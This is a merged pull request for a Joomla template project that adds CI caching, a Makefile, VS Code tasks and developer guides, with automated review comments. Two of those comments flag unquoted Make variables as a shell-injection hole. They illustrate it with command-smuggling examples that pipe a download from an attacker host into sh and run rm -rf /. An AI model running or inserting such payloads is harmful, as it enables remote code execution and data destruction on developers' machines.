Improve Joomla development workflows and convert scripts to Python #31

Merged
Copilot merged 8 commits from copilot/improve-joomla-development-workflow into main 2026-01-04 05:34:19 +00:00
19 changed files with 3962 additions and 35 deletions

View File

@@ -56,23 +56,46 @@ jobs:
uses: actions/setup-node@v4
with:
node-version: '18'
cache: 'npm'
cache-dependency-path: '**/package-lock.json'
copilot-pull-request-reviewer[bot] commented 2026-01-04 05:38:48 +00:00 (Migrated from github.com)
Review

The cache configuration uses 'npm' cache but specifies a 'cache-dependency-path' that may not exist in all scenarios. If 'package-lock.json' doesn't exist, the cache setup could fail or behave unexpectedly. Consider making this conditional or providing a fallback, or using a pattern that matches if the file exists (e.g., using 'if: hashFiles('**/package-lock.json') != ''').


The cache configuration uses 'npm' cache but specifies a 'cache-dependency-path' that may not exist in all scenarios. If 'package-lock.json' doesn't exist, the cache setup could fail or behave unexpectedly. Consider making this conditional or providing a fallback, or using a pattern that matches if the file exists (e.g., using 'if: hashFiles('**/package-lock.json') != '''). ```suggestion ```
- name: Cache Joomla Downloads
uses: actions/cache@v4
with:
path: /tmp/joomla-cache
key: joomla-${{ matrix.joomla-version }}
restore-keys: |
joomla-${{ matrix.joomla-version }}
- name: Download Joomla ${{ matrix.joomla-version }}
run: |
mkdir -p /tmp/joomla
cd /tmp/joomla
mkdir -p /tmp/joomla-cache
# Download appropriate Joomla version
# Define ZIP file based on version
if [ "${{ matrix.joomla-version }}" = "4.4" ]; then
wget -q https://downloads.joomla.org/cms/joomla4/4-4-9/Joomla_4-4-9-Stable-Full_Package.zip
unzip -q Joomla_4-4-9-Stable-Full_Package.zip
ZIP_FILE="Joomla_4-4-9-Stable-Full_Package.zip"
ZIP_URL="https://downloads.joomla.org/cms/joomla4/4-4-9/${ZIP_FILE}"
elif [ "${{ matrix.joomla-version }}" = "5.0" ]; then
wget -q https://downloads.joomla.org/cms/joomla5/5-0-3/Joomla_5-0-3-Stable-Full_Package.zip
unzip -q Joomla_5-0-3-Stable-Full_Package.zip
ZIP_FILE="Joomla_5-0-3-Stable-Full_Package.zip"
ZIP_URL="https://downloads.joomla.org/cms/joomla5/5-0-3/${ZIP_FILE}"
else
wget -q https://downloads.joomla.org/cms/joomla5/5-1-4/Joomla_5-1-4-Stable-Full_Package.zip
unzip -q Joomla_5-1-4-Stable-Full_Package.zip
ZIP_FILE="Joomla_5-1-4-Stable-Full_Package.zip"
ZIP_URL="https://downloads.joomla.org/cms/joomla5/5-1-4/${ZIP_FILE}"
fi
# Use cached ZIP if available, otherwise download
if [ -f "/tmp/joomla-cache/${ZIP_FILE}" ]; then
echo "Using cached Joomla package: ${ZIP_FILE}"
cp "/tmp/joomla-cache/${ZIP_FILE}" "/tmp/joomla/"
else
echo "Downloading Joomla package: ${ZIP_FILE}"
wget -q "${ZIP_URL}" -O "/tmp/joomla/${ZIP_FILE}"
cp "/tmp/joomla/${ZIP_FILE}" "/tmp/joomla-cache/"
fi
cd /tmp/joomla
unzip -q "${ZIP_FILE}"
- name: Configure Joomla
run: |
@@ -211,6 +234,16 @@ jobs:
coverage: xdebug
tools: composer:v2
- name: Cache Composer packages
uses: actions/cache@v4
with:
path: ~/.composer
key: ${{ runner.os }}-composer-codeception-8.1-${{ hashFiles('**/composer.lock') }}
restore-keys: |
${{ runner.os }}-composer-codeception-8.1-
${{ runner.os }}-composer-codeception-
${{ runner.os }}-composer-
- name: Install Codeception
run: |
composer global require codeception/codeception

View File

@@ -38,6 +38,16 @@ jobs:
coverage: none
tools: cs2pr
- name: Cache Composer packages
uses: actions/cache@v4
with:
path: ~/.composer
key: ${{ runner.os }}-composer-phpcs-${{ matrix.php-version }}-${{ hashFiles('**/composer.lock') }}
restore-keys: |
${{ runner.os }}-composer-phpcs-${{ matrix.php-version }}-
${{ runner.os }}-composer-phpcs-
${{ runner.os }}-composer-
- name: Install PHP_CodeSniffer
run: |
composer global require squizlabs/php_codesniffer
@@ -82,6 +92,16 @@ jobs:
extensions: mbstring, xml, ctype, json, zip
coverage: none
- name: Cache Composer packages
uses: actions/cache@v4
with:
path: ~/.composer
key: ${{ runner.os }}-composer-phpstan-${{ matrix.php-version }}-${{ hashFiles('**/composer.lock') }}
restore-keys: |
${{ runner.os }}-composer-phpstan-${{ matrix.php-version }}-
${{ runner.os }}-composer-phpstan-
${{ runner.os }}-composer-
- name: Install PHPStan
run: |
composer global require phpstan/phpstan
@@ -119,6 +139,16 @@ jobs:
extensions: mbstring, xml, ctype, json, zip
coverage: none
- name: Cache Composer packages
uses: actions/cache@v4
with:
path: ~/.composer
key: ${{ runner.os }}-composer-phpcompat-8.3-${{ hashFiles('**/composer.lock') }}
restore-keys: |
${{ runner.os }}-composer-phpcompat-8.3-
${{ runner.os }}-composer-phpcompat-
${{ runner.os }}-composer-
- name: Install dependencies
run: |
composer global require squizlabs/php_codesniffer

View File

@@ -36,7 +36,7 @@ env:
# Scripts governance policy
# Note: directories listed without a trailing slash.
SCRIPTS_REQUIRED_DIRS:
SCRIPTS_ALLOWED_DIRS: scripts,scripts/fix,scripts/lib,scripts/release,scripts/run,scripts/validate
SCRIPTS_ALLOWED_DIRS: scripts,scripts/fix,scripts/git,scripts/lib,scripts/release,scripts/run,scripts/validate
# Repo health policy
# Files are listed as-is; directories must end with a trailing slash.

36
.gitignore vendored
View File

@@ -33,7 +33,11 @@ System Volume Information/
*.lnk
Icon?
.idea/
.vscode/
# .vscode/ - Allow specific VS Code config files
.vscode/*
!.vscode/tasks.json
!.vscode/settings.json.example
!.vscode/extensions.json
*.code-workspace
*.sublime-project
*.sublime-workspace
@@ -789,6 +793,36 @@ package-lock.json
.phpunit.result.cache
codeception.phar
# Python
__pycache__/
*.py[cod]
*$py.class
*.so
.Python
build/
develop-eggs/
downloads/
eggs/
.eggs/
lib/
lib64/
parts/
sdist/
var/
wheels/
*.egg-info/
.installed.cfg
*.egg
MANIFEST
.pytest_cache/
.coverage
.coverage.*
htmlcov/
.tox/
.nox/
*.cover
.hypothesis/
# ============================================================
# Keep-empty folders helper
# ============================================================

171
.vscode/tasks.json vendored Normal file
View File

@@ -0,0 +1,171 @@
{
"version": "2.0.0",
"tasks": [
{
"label": "Validate All",
"type": "shell",
"command": "./scripts/run/validate_all.sh",
"group": {
"kind": "test",
"isDefault": true
},
"presentation": {
"reveal": "always",
"panel": "new"
},
"problemMatcher": []
},
{
"label": "Validate Required",
"type": "shell",
"command": "make validate-required",
"group": "test",
"presentation": {
"reveal": "always",
"panel": "new"
},
"problemMatcher": []
},
{
"label": "Run Tests",
"type": "shell",
"command": "codecept run",
"group": "test",
"presentation": {
"reveal": "always",
"panel": "new"
},
"problemMatcher": []
},
{
"label": "PHP CodeSniffer",
"type": "shell",
"command": "phpcs --standard=phpcs.xml src/",
"group": "test",
"presentation": {
"reveal": "always",
"panel": "shared"
},
"problemMatcher": {
"owner": "php",
"fileLocation": "relative",
"pattern": {
"regexp": "^(.+):(\\d+):(\\d+):\\s+(error|warning)\\s+-\\s+(.+)$",
"file": 1,
"line": 2,
"column": 3,
"severity": 4,
"message": 5
}
}
},
{
"label": "PHP CodeSniffer - Auto Fix",
"type": "shell",
"command": "phpcbf --standard=phpcs.xml src/",
"group": "none",
"presentation": {
"reveal": "always",
"panel": "shared"
},
"problemMatcher": []
},
{
"label": "PHPStan",
"type": "shell",
"command": "phpstan analyse --configuration=phpstan.neon",
"group": "test",
"presentation": {
"reveal": "always",
"panel": "shared"
},
"problemMatcher": {
"owner": "php",
"fileLocation": "relative",
"pattern": {
"regexp": "^(.+):(\\d+):\\s+(.+)$",
"file": 1,
"line": 2,
"message": 3
}
}
},
{
"label": "Create Package",
"type": "shell",
"command": "./scripts/release/package_extension.sh dist",
"group": "build",
"presentation": {
"reveal": "always",
"panel": "new"
},
"problemMatcher": []
},
{
"label": "Smoke Test",
"type": "shell",
"command": "./scripts/run/smoke_test.sh",
"group": "test",
"presentation": {
"reveal": "always",
"panel": "new"
},
"problemMatcher": []
},
{
"label": "Script Health Check",
"type": "shell",
"command": "./scripts/run/script_health.sh",
"group": "test",
"presentation": {
"reveal": "always",
"panel": "new"
},
"problemMatcher": []
},
{
"label": "Check Code Quality",
"type": "shell",
"command": "make quality",
"group": "test",
"presentation": {
"reveal": "always",
"panel": "new"
},
"problemMatcher": []
},
{
"label": "Fix Permissions",
"type": "shell",
"command": "make fix-permissions",
"group": "none",
"presentation": {
"reveal": "always",
"panel": "shared"
},
"problemMatcher": []
},
{
"label": "Clean",
"type": "shell",
"command": "make clean",
"group": "none",
"presentation": {
"reveal": "always",
"panel": "shared"
},
"problemMatcher": []
},
{
"label": "Install Git Hooks",
"type": "shell",
"command": "./scripts/git/install-hooks.sh",
"group": "none",
"presentation": {
"reveal": "always",
"panel": "new"
},
"problemMatcher": []
}
]
}

View File

@@ -48,6 +48,37 @@ Contributors are expected to:
* Have a working understanding of Joomla template structure.
* Be familiar with Git and GitHub pull request workflows.
* Review repository governance documents prior to submitting changes.
* Set up the development environment using the provided tools.
### Quick Setup
For first-time contributors:
```bash
# Clone the repository
git clone https://github.com/mokoconsulting-tech/moko-cassiopeia.git
cd moko-cassiopeia
# Run development setup
make dev-setup
# Install Git hooks (optional but recommended)
./scripts/git/install-hooks.sh
```
See [docs/QUICK_START.md](./docs/QUICK_START.md) for detailed setup instructions.
## Development Tools
The repository provides several tools to streamline development:
* **Makefile**: Common development tasks (`make help` to see all commands)
* **Pre-commit Hooks**: Automatic local validation before commits
* **VS Code Tasks**: Pre-configured tasks for common operations
* **Validation Scripts**: Located in `scripts/validate/`
* **CI/CD Workflows**: Automated testing and deployment
Run `make validate-required` before submitting PRs to catch common issues early.
## Contribution Workflow

227
Makefile Normal file
View File

@@ -0,0 +1,227 @@
# Makefile for Moko Cassiopeia Development
# Copyright (C) 2025 Moko Consulting <hello@mokoconsulting.tech>
#
# SPDX-License-Identifier: GPL-3.0-or-later
.PHONY: help install validate test quality package clean dev-setup
# Default target
.DEFAULT_GOAL := help
# Version detection
VERSION := $(shell grep -oP '<version>\K[^<]+' src/templates/templateDetails.xml 2>/dev/null || echo "unknown")
## help: Show this help message
help:
@echo "Moko Cassiopeia Development Makefile"
@echo ""
@echo "Version: $(VERSION)"
@echo ""
@echo "Available targets:"
@sed -n 's/^##//p' $(MAKEFILE_LIST) | column -t -s ':' | sed -e 's/^/ /'
## install: Install development dependencies
install:
@echo "Installing development dependencies..."
@command -v composer >/dev/null 2>&1 || { echo "Error: composer not found. Please install composer first."; exit 1; }
composer global require squizlabs/php_codesniffer
composer global require phpstan/phpstan
composer global require phpcompatibility/php-compatibility
composer global require codeception/codeception
phpcs --config-set installed_paths ~/.composer/vendor/phpcompatibility/php-compatibility
copilot-pull-request-reviewer[bot] commented 2026-01-04 05:38:48 +00:00 (Migrated from github.com)
Review

The Makefile uses '@' prefix to suppress command output, but on line 26 uses an error check without '@', which could cause the command itself to be displayed. Consider adding '@' prefix for consistency, or explicitly show commands when they're being checked for availability.

	@composer global require squizlabs/php_codesniffer
	@composer global require phpstan/phpstan
	@composer global require phpcompatibility/php-compatibility
	@composer global require codeception/codeception
	@phpcs --config-set installed_paths ~/.composer/vendor/phpcompatibility/php-compatibility
The Makefile uses '@' prefix to suppress command output, but on line 26 uses an error check without '@', which could cause the command itself to be displayed. Consider adding '@' prefix for consistency, or explicitly show commands when they're being checked for availability. ```suggestion @composer global require squizlabs/php_codesniffer @composer global require phpstan/phpstan @composer global require phpcompatibility/php-compatibility @composer global require codeception/codeception @phpcs --config-set installed_paths ~/.composer/vendor/phpcompatibility/php-compatibility ```
@echo "✓ Dependencies installed"
## validate: Run all validation scripts
validate:
@echo "Running validation scripts..."
@./scripts/run/validate_all.sh
## validate-required: Run only required validation scripts
validate-required:
@echo "Running required validations..."
@./scripts/validate/manifest.sh
@./scripts/validate/xml_wellformed.sh
@./scripts/validate/workflows.sh
@echo "✓ Required validations passed"
## test: Run all tests
test:
@echo "Running tests..."
@command -v codecept >/dev/null 2>&1 || { echo "Error: codecept not found. Run 'make install' first."; exit 1; }
codecept run
## test-unit: Run unit tests only
test-unit:
@echo "Running unit tests..."
@command -v codecept >/dev/null 2>&1 || { echo "Error: codecept not found. Run 'make install' first."; exit 1; }
codecept run unit
## test-acceptance: Run acceptance tests only
test-acceptance:
@echo "Running acceptance tests..."
@command -v codecept >/dev/null 2>&1 || { echo "Error: codecept not found. Run 'make install' first."; exit 1; }
codecept run acceptance
## quality: Run code quality checks
quality:
@echo "Running code quality checks..."
@$(MAKE) phpcs
@$(MAKE) phpstan
@$(MAKE) phpcompat
## phpcs: Run PHP_CodeSniffer
phpcs:
@echo "Running PHP_CodeSniffer..."
@command -v phpcs >/dev/null 2>&1 || { echo "Error: phpcs not found. Run 'make install' first."; exit 1; }
phpcs --standard=phpcs.xml src/
## phpcs-fix: Auto-fix PHPCS violations
phpcs-fix:
@echo "Auto-fixing PHPCS violations..."
@command -v phpcbf >/dev/null 2>&1 || { echo "Error: phpcbf not found. Run 'make install' first."; exit 1; }
phpcbf --standard=phpcs.xml src/
## phpstan: Run PHPStan static analysis
phpstan:
@echo "Running PHPStan..."
@command -v phpstan >/dev/null 2>&1 || { echo "Error: phpstan not found. Run 'make install' first."; exit 1; }
phpstan analyse --configuration=phpstan.neon
## phpcompat: Check PHP 8.0+ compatibility
phpcompat:
@echo "Checking PHP 8.0+ compatibility..."
@command -v phpcs >/dev/null 2>&1 || { echo "Error: phpcs not found. Run 'make install' first."; exit 1; }
phpcs --standard=PHPCompatibility --runtime-set testVersion 8.0- src/
## package: Create distribution package
package:
@echo "Creating distribution package..."
@./scripts/release/package_extension.sh dist $(VERSION)
@echo "✓ Package created: dist/moko-cassiopeia-$(VERSION)-*.zip"
## smoke-test: Run smoke tests
smoke-test:
@echo "Running smoke tests..."
@./scripts/run/smoke_test.sh
## script-health: Check script health
script-health:
@echo "Checking script health..."
@./scripts/run/script_health.sh
## version-check: Display current version information
version-check:
@echo "Version Information:"
@echo " Manifest: $(VERSION)"
@echo " Latest CHANGELOG entry:"
@grep -m 1 "^## \[" CHANGELOG.md || echo " (not found)"
## fix-permissions: Fix script executable permissions
fix-permissions:
@echo "Fixing script permissions..."
@find scripts -type f -name "*.sh" -exec chmod +x {} \;
@echo "✓ Permissions fixed"
## clean: Remove generated files and caches
clean:
@echo "Cleaning generated files..."
@rm -rf dist/
@rm -rf tests/_output/
@rm -rf .phpunit.cache/
@find . -type f -name "*.log" -delete
@find . -type f -name ".DS_Store" -delete
@echo "✓ Cleaned"
## dev-setup: Complete development environment setup
dev-setup:
@echo "Setting up development environment..."
@$(MAKE) install
@$(MAKE) fix-permissions
@echo ""
@echo "✓ Development environment ready!"
@echo ""
@echo "Quick start:"
@echo " make validate - Run all validations"
@echo " make test - Run tests"
@echo " make quality - Check code quality"
@echo " make package - Create distribution package"
## format: Format code (PHPCS auto-fix)
format: phpcs-fix
## check: Quick check (required validations + quality)
check:
@echo "Running quick checks..."
@$(MAKE) validate-required
@$(MAKE) quality
@echo "✓ All checks passed"
## all: Run everything (validate, test, quality, package)
all:
@echo "Running complete build pipeline..."
@$(MAKE) validate
@$(MAKE) test
@$(MAKE) quality
@$(MAKE) package
@echo "✓ Complete pipeline successful"
## watch: Watch for changes and run validations (requires entr)
watch:
@echo "Watching for changes... (Ctrl+C to stop)"
@command -v entr >/dev/null 2>&1 || { echo "Error: entr not found. Install with: apt-get install entr"; exit 1; }
@find src -type f | entr -c make validate-required
## list-scripts: List all available scripts
list-scripts:
@echo "Available validation scripts:"
@find scripts/validate -type f -name "*.sh" -exec basename {} \; | sort
@echo ""
@echo "Available fix scripts:"
@find scripts/fix -type f -name "*.sh" -exec basename {} \; | sort
@echo ""
@echo "Available run scripts (bash):"
@find scripts/run -type f -name "*.sh" -exec basename {} \; | sort
@echo ""
@echo "Available run scripts (python):"
@find scripts/run -type f -name "*.py" -exec basename {} \; | sort
## scaffold: Create new Joomla extension scaffolding
scaffold:
@echo "Create new Joomla extension scaffolding"
@echo ""
@echo "Usage: make scaffold TYPE=<type> NAME=<name> AUTHOR=<author> DESC=<description>"
@echo ""
@echo "Types: component, module, plugin, template, package"
@echo ""
@echo "Example:"
@echo " make scaffold TYPE=module NAME='My Module' AUTHOR='John Doe' DESC='Module description'"
## scaffold-component: Create a component
scaffold-component:
@python3 scripts/run/scaffold_extension.py component "$(NAME)" "$(DESC)" "$(AUTHOR)"
## scaffold-module: Create a module
scaffold-module:
@python3 scripts/run/scaffold_extension.py module "$(NAME)" "$(DESC)" "$(AUTHOR)" --client $(CLIENT)
## scaffold-plugin: Create a plugin
scaffold-plugin:
@python3 scripts/run/scaffold_extension.py plugin "$(NAME)" "$(DESC)" "$(AUTHOR)" --group $(GROUP)
copilot-pull-request-reviewer[bot] commented 2026-01-04 05:38:48 +00:00 (Migrated from github.com)
Review

The 'scaffold-module' and 'scaffold-plugin' targets reference variables 'CLIENT' and 'GROUP' respectively, but these variables don't have default values. If a user runs these targets without specifying the variables (e.g., 'make scaffold-module NAME="Test"'), the command will pass empty values to the Python script. Consider adding default values (e.g., 'CLIENT ?= site' and 'GROUP ?= system') or documenting that these must be provided.

The 'scaffold-module' and 'scaffold-plugin' targets reference variables 'CLIENT' and 'GROUP' respectively, but these variables don't have default values. If a user runs these targets without specifying the variables (e.g., 'make scaffold-module NAME="Test"'), the command will pass empty values to the Python script. Consider adding default values (e.g., 'CLIENT ?= site' and 'GROUP ?= system') or documenting that these must be provided.
copilot-pull-request-reviewer[bot] commented 2026-01-04 05:38:51 +00:00 (Migrated from github.com)
Review

In the scaffold-module target, the $(CLIENT) variable is interpolated into the shell command without quoting (--client $(CLIENT)), which allows shell metacharacters in CLIENT to break out of the intended argument and execute arbitrary commands (e.g. CLIENT="site; curl https://attacker/... | sh"). If an attacker can influence CLIENT (via environment variables or make arguments in an automated context), running make scaffold-module results in remote code execution under the developer's account. Treat CLIENT as untrusted and ensure it is safely passed as data (for example by quoting it and avoiding any expansion that lets the shell interpret its contents as additional arguments or commands).

	@python3 scripts/run/scaffold_extension.py module "$(NAME)" "$(DESC)" "$(AUTHOR)" --client "$(CLIENT)"

## scaffold-plugin: Create a plugin
scaffold-plugin:
	@python3 scripts/run/scaffold_extension.py plugin "$(NAME)" "$(DESC)" "$(AUTHOR)" --group "$(GROUP)"
In the `scaffold-module` target, the `$(CLIENT)` variable is interpolated into the shell command without quoting (`--client $(CLIENT)`), which allows shell metacharacters in `CLIENT` to break out of the intended argument and execute arbitrary commands (e.g. `CLIENT="site; curl https://attacker/... | sh"`). If an attacker can influence `CLIENT` (via environment variables or `make` arguments in an automated context), running `make scaffold-module` results in remote code execution under the developer's account. Treat `CLIENT` as untrusted and ensure it is safely passed as data (for example by quoting it and avoiding any expansion that lets the shell interpret its contents as additional arguments or commands). ```suggestion @python3 scripts/run/scaffold_extension.py module "$(NAME)" "$(DESC)" "$(AUTHOR)" --client "$(CLIENT)" ## scaffold-plugin: Create a plugin scaffold-plugin: @python3 scripts/run/scaffold_extension.py plugin "$(NAME)" "$(DESC)" "$(AUTHOR)" --group "$(GROUP)" ```
copilot-pull-request-reviewer[bot] commented 2026-01-04 05:38:52 +00:00 (Migrated from github.com)
Review

In the scaffold-plugin target, the $(GROUP) variable is used unquoted in the shell command (--group $(GROUP)), so a malicious value containing shell metacharacters can inject extra arguments or commands (e.g. GROUP="system; rm -rf /"). If GROUP is influenced by external input (environment variables, wrapper scripts, or CI parameters), invoking make scaffold-plugin can lead to arbitrary command execution. Treat GROUP as untrusted input and ensure it is safely handled (for example by quoting it so the shell cannot interpret its contents beyond a single argument).

	@python3 scripts/run/scaffold_extension.py plugin "$(NAME)" "$(DESC)" "$(AUTHOR)" --group "$(GROUP)"
In the `scaffold-plugin` target, the `$(GROUP)` variable is used unquoted in the shell command (`--group $(GROUP)`), so a malicious value containing shell metacharacters can inject extra arguments or commands (e.g. `GROUP="system; rm -rf /"`). If `GROUP` is influenced by external input (environment variables, wrapper scripts, or CI parameters), invoking `make scaffold-plugin` can lead to arbitrary command execution. Treat `GROUP` as untrusted input and ensure it is safely handled (for example by quoting it so the shell cannot interpret its contents beyond a single argument). ```suggestion @python3 scripts/run/scaffold_extension.py plugin "$(NAME)" "$(DESC)" "$(AUTHOR)" --group "$(GROUP)" ```
## scaffold-template: Create a template
scaffold-template:
@python3 scripts/run/scaffold_extension.py template "$(NAME)" "$(DESC)" "$(AUTHOR)"
## scaffold-package: Create a package
scaffold-package:
@python3 scripts/run/scaffold_extension.py package "$(NAME)" "$(DESC)" "$(AUTHOR)"
## docs: Open documentation
docs:
@echo "Documentation files:"
@echo " README.md - Project overview"
@echo " docs/JOOMLA_DEVELOPMENT.md - Development guide"
@echo " docs/WORKFLOW_GUIDE.md - Workflow reference"
@echo " scripts/README.md - Scripts documentation"
@echo " CHANGELOG.md - Version history"
@echo " CONTRIBUTING.md - Contribution guide"

View File

@@ -134,6 +134,44 @@ If upgrading from a prior version, Joomla will safely overwrite files
For developers and contributors working on the moko-cassiopeia template:
### Quick Start for Developers
Get started in minutes:
```bash
# Setup development environment
make dev-setup
# Validate code
make validate-required
# Check code quality
make quality
# Create distribution package
make package
# Install Git hooks (optional but recommended)
./scripts/git/install-hooks.sh
```
**New to the project?** See [Quick Start Guide](./docs/QUICK_START.md) for a 5-minute walkthrough.
### Development Resources
- **[Quick Start Guide](./docs/QUICK_START.md)** - Get up and running in 5 minutes
- **[Workflow Guide](./docs/WORKFLOW_GUIDE.md)** - Complete workflow reference with examples
- **[Joomla Development Guide](./docs/JOOMLA_DEVELOPMENT.md)** - Testing, quality checks, and deployment
- **[Scripts Documentation](./scripts/README.md)** - Available automation scripts
- **[Contributing Guide](./CONTRIBUTING.md)** - How to contribute
### Available Tools
- **Makefile**: Run `make help` to see all available commands
- **Pre-commit Hooks**: Automatic validation before commits
- **VS Code Tasks**: Pre-configured development tasks
- **GitHub Actions**: Automated CI/CD pipelines
### Joomla Development Workflows
Comprehensive Joomla-aware development tools and workflows are available:
@@ -141,32 +179,9 @@ Comprehensive Joomla-aware development tools and workflows are available:
- **Extension Packaging** - Create distributable ZIP packages
- **PHP Quality Checks** - PHPStan and PHP_CodeSniffer with Joomla standards
- **Automated Testing** - Codeception framework with multiple Joomla versions
- **CI/CD Pipelines** - GitHub Actions for testing and deployment
- **CI/CD Pipelines** - GitHub Actions with caching for faster builds
See the [Joomla Development Guide](./docs/JOOMLA_DEVELOPMENT.md) for:
- Setup instructions for local development
- Running tests and quality checks
- Creating release packages
- Deployment workflows
- CI/CD pipeline details
### Quick Start for Developers
```bash
# Validate code
./scripts/validate/php_syntax.sh
./scripts/validate/manifest.sh
# Create distribution package
./scripts/release/package_extension.sh dist 3.5.0
# Run tests (requires Codeception)
codecept run
# Check code quality (requires PHPStan/PHPCS)
phpstan analyse --configuration=phpstan.neon
phpcs --standard=phpcs.xml
```
Run `make help` to see all available development commands.
## Changelog

352
docs/QUICK_START.md Normal file
View File

@@ -0,0 +1,352 @@
# Quick Start Guide - Moko Cassiopeia Development
Get up and running with Moko Cassiopeia development in minutes.
## Prerequisites
Before you begin, ensure you have:
- **Git** - For version control
- **PHP 8.0+** - Required runtime
- **Composer** - PHP dependency manager
- **Make** (optional) - For convenient commands
- **Code Editor** - VS Code recommended (tasks pre-configured)
## 5-Minute Setup
### 1. Clone the Repository
```bash
git clone https://github.com/mokoconsulting-tech/moko-cassiopeia.git
cd moko-cassiopeia
```
### 2. Install Development Dependencies
```bash
# Using Make (recommended)
make dev-setup
# Or manually
composer global require squizlabs/php_codesniffer
composer global require phpstan/phpstan
composer global require phpcompatibility/php-compatibility
composer global require codeception/codeception
```
### 3. Install Git Hooks (Optional but Recommended)
```bash
./scripts/git/install-hooks.sh
```
### 4. Validate Everything Works
```bash
# Quick validation
make validate-required
# Or comprehensive validation
make validate
```
## Common Tasks
### Development Workflow
```bash
# 1. Make your changes
vim src/templates/index.php
# 2. Validate locally
make validate-required
# 3. Check code quality
make quality
# 4. Commit
git add -A
git commit -m "feat: add new feature"
# (pre-commit hook runs automatically)
# 5. Push
git push origin your-branch
```
### Testing
```bash
# Run all tests
make test
# Run unit tests only
make test-unit
# Run acceptance tests only
make test-acceptance
```
### Code Quality
```bash
# Check everything
make quality
# PHP CodeSniffer only
make phpcs
# Auto-fix PHPCS issues
make phpcs-fix
# PHPStan only
make phpstan
# PHP compatibility check
make phpcompat
```
### Creating a Release Package
```bash
# Package with auto-detected version
make package
# Or specify directory and version
./scripts/release/package_extension.sh dist 03.05.00
# Check package contents
ls -lh dist/
unzip -l dist/moko-cassiopeia-*.zip
```
## VS Code Integration
If using VS Code, press `Ctrl+Shift+P` (or `Cmd+Shift+P` on Mac) and type "Run Task" to see available tasks:
- **Validate All** - Run all validation scripts (default test task)
- **Validate Required** - Run only required validations
- **PHP CodeSniffer** - Check code style
- **PHP CodeSniffer - Auto Fix** - Fix code style issues
- **PHPStan** - Static analysis
- **Run Tests** - Execute all tests
- **Create Package** - Build distribution ZIP
- **Install Git Hooks** - Set up pre-commit hooks
## Available Make Commands
Run `make help` to see all available commands:
```bash
make help # Show all commands
make dev-setup # Complete environment setup
make validate # Run all validations
make test # Run all tests
make quality # Check code quality
make package # Create distribution package
make clean # Remove generated files
make check # Quick check (validate + quality)
make all # Complete build pipeline
```
## Project Structure
```
moko-cassiopeia/
├── src/ # Joomla template source
│ ├── templates/ # Template files
│ ├── media/ # Assets (CSS, JS, images)
│ ├── language/ # Language files
│ └── administrator/ # Admin files
├── scripts/ # Automation scripts
│ ├── validate/ # Validation scripts
│ ├── fix/ # Fix/update scripts
│ ├── release/ # Release scripts
│ ├── run/ # Execution scripts
│ ├── git/ # Git hooks
│ └── lib/ # Shared libraries
├── tests/ # Test suites
├── docs/ # Documentation
├── .github/workflows/ # CI/CD workflows
├── Makefile # Make commands
└── README.md # Project overview
```
## Next Steps
### Learning the Workflow
1. **Read the Workflow Guide**: [docs/WORKFLOW_GUIDE.md](./WORKFLOW_GUIDE.md)
2. **Review Joomla Development**: [docs/JOOMLA_DEVELOPMENT.md](./JOOMLA_DEVELOPMENT.md)
3. **Check Scripts Documentation**: [scripts/README.md](../scripts/README.md)
### Creating Your First Feature
1. **Create a version branch** via GitHub Actions:
- Go to Actions → Create version branch
- Enter version (e.g., 03.06.00)
- Select branch prefix: `dev/`
- Run workflow
2. **Checkout the branch**:
```bash
git fetch origin
git checkout dev/03.06.00
```
3. **Make changes and test**:
```bash
# Edit files
vim src/templates/index.php
# Validate
make validate-required
# Check quality
make quality
```
4. **Commit and push**:
```bash
git add -A
git commit -m "feat: your feature description"
git push origin dev/03.06.00
```
5. **Watch CI**: Check GitHub Actions for automated testing
### Understanding the Release Process
```
Development → RC → Stable → Production
(dev/) (rc/) (version/) (main)
```
1. **dev/X.Y.Z** - Active development
2. **rc/X.Y.Z** - Release candidate testing
3. **version/X.Y.Z** - Stable release
4. **main** - Production (auto-merged from version/)
Use the Release Pipeline workflow to promote between stages.
## Troubleshooting
### Scripts Not Executable
```bash
make fix-permissions
# Or manually:
chmod +x scripts/**/*.sh
```
### PHPStan/PHPCS Not Found
```bash
make install
# Or manually:
composer global require squizlabs/php_codesniffer phpstan/phpstan
```
### Pre-commit Hook Fails
```bash
# Run manually to see details
./scripts/git/pre-commit.sh
# Quick mode (skip some checks)
./scripts/git/pre-commit.sh --quick
# Skip quality checks
./scripts/git/pre-commit.sh --skip-quality
# Bypass hook (not recommended)
git commit --no-verify
```
### CI Workflow Fails
1. Check the workflow logs in GitHub Actions
2. Run the same checks locally:
```bash
./scripts/validate/manifest.sh
./scripts/validate/php_syntax.sh
make quality
```
### Need Help?
- **Documentation**: Check [docs/](../docs/) directory
- **Issues**: Open an issue on GitHub
- **Contributing**: See [CONTRIBUTING.md](../CONTRIBUTING.md)
## Best Practices
### Before Committing
```bash
# Always validate first
make validate-required
# Check quality for PHP changes
make quality
# Run tests if you changed functionality
make test
```
### Code Style
- Follow PSR-12 standards
- Use `make phpcs-fix` to auto-fix issues
- Add SPDX license headers to new files
- Keep functions small and focused
### Documentation
- Update docs when changing workflows
- Add comments for complex logic
- Update CHANGELOG.md with changes
- Keep README.md current
### Version Management
- Use semantic versioning: Major.Minor.Patch (03.05.00)
- Update CHANGELOG.md with all changes
- Follow the version hierarchy: dev → rc → version → main
- Never skip stages in the release process
## Useful Resources
- [Joomla Documentation](https://docs.joomla.org/)
- [PSR-12 Coding Standard](https://www.php-fig.org/psr/psr-12/)
- [Semantic Versioning](https://semver.org/)
- [Conventional Commits](https://www.conventionalcommits.org/)
## Quick Reference Card
```bash
# Setup
make dev-setup # Initial setup
./scripts/git/install-hooks.sh # Install hooks
# Development
make validate-required # Quick validation
make quality # Code quality
make test # Run tests
# Building
make package # Create ZIP
# Maintenance
make clean # Clean generated files
make fix-permissions # Fix script permissions
# Help
make help # Show all commands
./scripts/run/validate_all.sh --help # Script help
```
---
**Document Version:** 1.0.0
**Last Updated:** 2025-01-04
**Get Started:** Run `make dev-setup` now!

472
docs/WORKFLOW_GUIDE.md Normal file
View File

@@ -0,0 +1,472 @@
# Workflow Guide - Moko Cassiopeia
Quick reference guide for GitHub Actions workflows and common development tasks.
## Table of Contents
- [Overview](#overview)
- [Workflow Quick Reference](#workflow-quick-reference)
- [Common Development Tasks](#common-development-tasks)
- [Troubleshooting](#troubleshooting)
- [Best Practices](#best-practices)
## Overview
This repository uses GitHub Actions for continuous integration, testing, quality checks, and deployment. All workflows are located in `.github/workflows/`.
### Workflow Execution Model
```
┌─────────────────┐
│ Code Changes │
└────────┬────────┘
┌─────────────────┐
│ CI Pipeline │ ← Validation, Testing, Quality
└────────┬────────┘
┌─────────────────┐
│ Version Branch │ ← Create dev/X.Y.Z branch
└────────┬────────┘
